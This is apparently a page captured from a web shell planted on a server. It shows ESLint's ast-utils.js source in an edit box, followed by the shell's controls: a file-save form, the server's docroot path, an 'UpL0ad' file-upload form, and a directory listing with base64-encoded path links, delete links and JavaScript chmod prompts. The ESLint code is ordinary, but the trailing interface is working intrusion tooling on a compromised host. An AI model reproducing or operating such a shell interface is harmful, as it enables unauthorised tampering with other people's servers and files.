        } else if (parent.type === &quot;Property&quot; || parent.type === &quot;MethodDefinition&quot;) {
            if (parent.kind === &quot;constructor&quot;) {
                return &quot;constructor&quot;;
            }
            if (parent.kind === &quot;get&quot;) {
                tokens.push(&quot;getter&quot;);
            } else if (parent.kind === &quot;set&quot;) {
                tokens.push(&quot;setter&quot;);
            } else {
                tokens.push(&quot;method&quot;);
            }
        } else {
            tokens.push(&quot;function&quot;);
        }

        if (node.id) {
            tokens.push(`'${node.id.name}'`);
        } else {
            const name = module.exports.getStaticPropertyName(parent);

            if (name !== null) {
                tokens.push(`'${name}'`);
            }
        }

        return tokens.join(&quot; &quot;);
    },

    /**
     * Gets the location of the given function node for reporting.
     *
     * - `function foo() {}`
     *    ^^^^^^^^^^^^
     * - `(function foo() {})`
     *     ^^^^^^^^^^^^
     * - `(function() {})`
     *     ^^^^^^^^
     * - `function* foo() {}`
     *    ^^^^^^^^^^^^^
     * - `(function* foo() {})`
     *     ^^^^^^^^^^^^^
     * - `(function*() {})`
     *     ^^^^^^^^^
     * - `() =&gt; {}`
     *       ^^
     * - `async () =&gt; {}`
     *             ^^
     * - `({ foo: function foo() {} })`
     *       ^^^^^^^^^^^^^^^^^
     * - `({ foo: function() {} })`
     *       ^^^^^^^^^^^^^
     * - `({ ['foo']: function() {} })`
     *       ^^^^^^^^^^^^^^^^^
     * - `({ [foo]: function() {} })`
     *       ^^^^^^^^^^^^^^^
     * - `({ foo() {} })`
     *       ^^^
     * - `({ foo: function* foo() {} })`
     *       ^^^^^^^^^^^^^^^^^^
     * - `({ foo: function*() {} })`
     *       ^^^^^^^^^^^^^^
     * - `({ ['foo']: function*() {} })`
     *       ^^^^^^^^^^^^^^^^^^
     * - `({ [foo]: function*() {} })`
     *       ^^^^^^^^^^^^^^^^
     * - `({ *foo() {} })`
     *       ^^^^
     * - `({ foo: async function foo() {} })`
     *       ^^^^^^^^^^^^^^^^^^^^^^^
     * - `({ foo: async function() {} })`
     *       ^^^^^^^^^^^^^^^^^^^
     * - `({ ['foo']: async function() {} })`
     *       ^^^^^^^^^^^^^^^^^^^^^^^
     * - `({ [foo]: async function() {} })`
     *       ^^^^^^^^^^^^^^^^^^^^^
     * - `({ async foo() {} })`
     *       ^^^^^^^^^
     * - `({ get foo() {} })`
     *       ^^^^^^^
     * - `({ set foo(a) {} })`
     *       ^^^^^^^
     * - `class A { constructor() {} }`
     *              ^^^^^^^^^^^
     * - `class A { foo() {} }`
     *              ^^^
     * - `class A { *foo() {} }`
     *              ^^^^
     * - `class A { async foo() {} }`
     *              ^^^^^^^^^
     * - `class A { ['foo']() {} }`
     *              ^^^^^^^
     * - `class A { *['foo']() {} }`
     *              ^^^^^^^^
     * - `class A { async ['foo']() {} }`
     *              ^^^^^^^^^^^^^
     * - `class A { [foo]() {} }`
     *              ^^^^^
     * - `class A { *[foo]() {} }`
     *              ^^^^^^
     * - `class A { async [foo]() {} }`
     *              ^^^^^^^^^^^
     * - `class A { get foo() {} }`
     *              ^^^^^^^
     * - `class A { set foo(a) {} }`
     *              ^^^^^^^
     * - `class A { static foo() {} }`
     *              ^^^^^^^^^^
     * - `class A { static *foo() {} }`
     *              ^^^^^^^^^^^
     * - `class A { static async foo() {} }`
     *              ^^^^^^^^^^^^^^^^
     * - `class A { static get foo() {} }`
     *              ^^^^^^^^^^^^^^
     * - `class A { static set foo(a) {} }`
     *              ^^^^^^^^^^^^^^
     *
     * @param {ASTNode} node - The function node to get.
     * @param {SourceCode} sourceCode - The source code object to get tokens.
     * @returns {string} The location of the function node for reporting.
     */
    getFunctionHeadLoc(node, sourceCode) {
        const parent = node.parent;
        let start = null;
        let end = null;

        if (node.type === &quot;ArrowFunctionExpression&quot;) {
            const arrowToken = sourceCode.getTokenBefore(node.body, isArrowToken);

            start = arrowToken.loc.start;
            end = arrowToken.loc.end;
        } else if (parent.type === &quot;Property&quot; || parent.type === &quot;MethodDefinition&quot;) {
            start = parent.loc.start;
            end = getOpeningParenOfParams(node, sourceCode).loc.start;
        } else {
            start = node.loc.start;
            end = getOpeningParenOfParams(node, sourceCode).loc.start;
        }

        return {
            start: Object.assign({}, start),
            end: Object.assign({}, end)
        };
    },

    /**
     * Gets the parenthesized text of a node. This is similar to sourceCode.getText(node), but it also includes any parentheses
     * surrounding the node.
     * @param {SourceCode} sourceCode The source code object
     * @param {ASTNode} node An expression node
     * @returns {string} The text representing the node, with all surrounding parentheses included
     */
    getParenthesisedText(sourceCode, node) {
        let leftToken = sourceCode.getFirstToken(node);
        let rightToken = sourceCode.getLastToken(node);

        while (
            sourceCode.getTokenBefore(leftToken) &amp;&amp;
            sourceCode.getTokenBefore(leftToken).type === &quot;Punctuator&quot; &amp;&amp;
            sourceCode.getTokenBefore(leftToken).value === &quot;(&quot; &amp;&amp;
            sourceCode.getTokenAfter(rightToken) &amp;&amp;
            sourceCode.getTokenAfter(rightToken).type === &quot;Punctuator&quot; &amp;&amp;
            sourceCode.getTokenAfter(rightToken).value === &quot;)&quot;
        ) {
            leftToken = sourceCode.getTokenBefore(leftToken);
            rightToken = sourceCode.getTokenAfter(rightToken);
        }

        return sourceCode.getText().slice(leftToken.range[0], rightToken.range[1]);
    },

    /*
     * Determine if a node has a possiblity to be an Error object
     * @param  {ASTNode} node  ASTNode to check
     * @returns {boolean} True if there is a chance it contains an Error obj
     */
    couldBeError(node) {
        switch (node.type) {
            case &quot;Identifier&quot;:
            case &quot;CallExpression&quot;:
            case &quot;NewExpression&quot;:
            case &quot;MemberExpression&quot;:
            case &quot;TaggedTemplateExpression&quot;:
            case &quot;YieldExpression&quot;:
            case &quot;AwaitExpression&quot;:
                return true; // possibly an error object.

            case &quot;AssignmentExpression&quot;:
                return module.exports.couldBeError(node.right);

            case &quot;SequenceExpression&quot;: {
                const exprs = node.expressions;

                return exprs.length !== 0 &amp;&amp; module.exports.couldBeError(exprs[exprs.length - 1]);
            }

            case &quot;LogicalExpression&quot;:
                return module.exports.couldBeError(node.left) || module.exports.couldBeError(node.right);

            case &quot;ConditionalExpression&quot;:
                return module.exports.couldBeError(node.consequent) || module.exports.couldBeError(node.alternate);

            default:
                return false;
        }
    },

    /**
     * Determines whether the given node is a `null` literal.
     * @param {ASTNode} node The node to check
     * @returns {boolean} `true` if the node is a `null` literal
     */
    isNullLiteral(node) {

        /*
         * Checking `node.value === null` does not guarantee that a literal is a null literal.
         * When parsing values that cannot be represented in the current environment (e.g. unicode
         * regexes in Node 4), `node.value` is set to `null` because it wouldn't be possible to
         * set `node.value` to a unicode regex. To make sure a literal is actually `null`, check
         * `node.regex` instead. Also see: https://github.com/eslint/eslint/issues/8020
         */
        return node.type === &quot;Literal&quot; &amp;&amp; node.value === null &amp;&amp; !node.regex &amp;&amp; !node.bigint;
    },

    /**
     * Determines whether two tokens can safely be placed next to each other without merging into a single token
     * @param {Token|string} leftValue The left token. If this is a string, it will be tokenized and the last token will be used.
     * @param {Token|string} rightValue The right token. If this is a string, it will be tokenized and the first token will be used.
     * @returns {boolean} If the tokens cannot be safely placed next to each other, returns `false`. If the tokens can be placed
     * next to each other, behavior is undefined (although it should return `true` in most cases).
     */
    canTokensBeAdjacent(leftValue, rightValue) {
        let leftToken;

        if (typeof leftValue === &quot;string&quot;) {
            const leftTokens = espree.tokenize(leftValue, { ecmaVersion: 2015 });

            leftToken = leftTokens[leftTokens.length - 1];
        } else {
            leftToken = leftValue;
        }

        const rightToken = typeof rightValue === &quot;string&quot; ? espree.tokenize(rightValue, { ecmaVersion: 2015 })[0] : rightValue;

        if (leftToken.type === &quot;Punctuator&quot; || rightToken.type === &quot;Punctuator&quot;) {
            if (leftToken.type === &quot;Punctuator&quot; &amp;&amp; rightToken.type === &quot;Punctuator&quot;) {
                const PLUS_TOKENS = new Set([&quot;+&quot;, &quot;++&quot;]);
                const MINUS_TOKENS = new Set([&quot;-&quot;, &quot;--&quot;]);

                return !(
                    PLUS_TOKENS.has(leftToken.value) &amp;&amp; PLUS_TOKENS.has(rightToken.value) ||
                    MINUS_TOKENS.has(leftToken.value) &amp;&amp; MINUS_TOKENS.has(rightToken.value)
                );
            }
            return true;
        }

        if (
            leftToken.type === &quot;String&quot; || rightToken.type === &quot;String&quot; ||
            leftToken.type === &quot;Template&quot; || rightToken.type === &quot;Template&quot;
        ) {
            return true;
        }

        if (leftToken.type !== &quot;Numeric&quot; &amp;&amp; rightToken.type === &quot;Numeric&quot; &amp;&amp; rightToken.value.startsWith(&quot;.&quot;)) {
            return true;
        }

        return false;
    },

    /**
     * Get the `loc` object of a given name in a `/*globals` directive comment.
     * @param {SourceCode} sourceCode The source code to convert index to loc.
     * @param {Comment} comment The `/*globals` directive comment which include the name.
     * @param {string} name The name to find.
     * @returns {SourceLocation} The `loc` object.
     */
    getNameLocationInGlobalDirectiveComment(sourceCode, comment, name) {
        const namePattern = new RegExp(`[\\s,]${lodash.escapeRegExp(name)}(?:$|[\\s,:])`, &quot;gu&quot;);

        // To ignore the first text &quot;global&quot;.
        namePattern.lastIndex = comment.value.indexOf(&quot;global&quot;) + 6;

        // Search a given variable name.
        const match = namePattern.exec(comment.value);

        // Convert the index to loc.
        return sourceCode.getLocFromIndex(
            comment.range[0] +
            &quot;/*&quot;.length +
            (match ? match.index + 1 : 0)
        );
    },

    /**
     * Determines whether the given raw string contains an octal escape sequence.
     *
     * &quot;\1&quot;, &quot;\2&quot; ... &quot;\7&quot;
     * &quot;\00&quot;, &quot;\01&quot; ... &quot;\09&quot;
     *
     * &quot;\0&quot;, when not followed by a digit, is not an octal escape sequence.
     *
     * @param {string} rawString A string in its raw representation.
     * @returns {boolean} `true` if the string contains at least one octal escape sequence.
     */
    hasOctalEscapeSequence(rawString) {
        return OCTAL_ESCAPE_PATTERN.test(rawString);
    }
};
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/eslint/lib/rules/utils<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>20480</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&x=YXN0LXV0aWxzLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=YXN0LXV0aWxzLmpz"/>ast-utils.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=YXN0LXV0aWxzLmpz&c=`+btoa(c):0" value="0644"></td><td>47411</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&x=Zml4LXRyYWNrZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=Zml4LXRyYWNrZXIuanM="/>fix-tracker.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=Zml4LXRyYWNrZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>4167</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&x=a2V5d29yZHMuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=a2V5d29yZHMuanM="/>keywords.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=a2V5d29yZHMuanM=&c=`+btoa(c):0" value="0644"></td><td>917</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&x=bGF6eS1sb2FkaW5nLXJ1bGUtbWFwLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=bGF6eS1sb2FkaW5nLXJ1bGUtbWFwLmpz"/>lazy-loading-rule-map.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=bGF6eS1sb2FkaW5nLXJ1bGUtbWFwLmpz&c=`+btoa(c):0" value="0644"></td><td>3073</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscy9wYXR0ZXJucw=="/>patterns</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=cGF0dGVybnM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscy91bmljb2Rl"/>unicode</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw==&f=dW5pY29kZQ==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>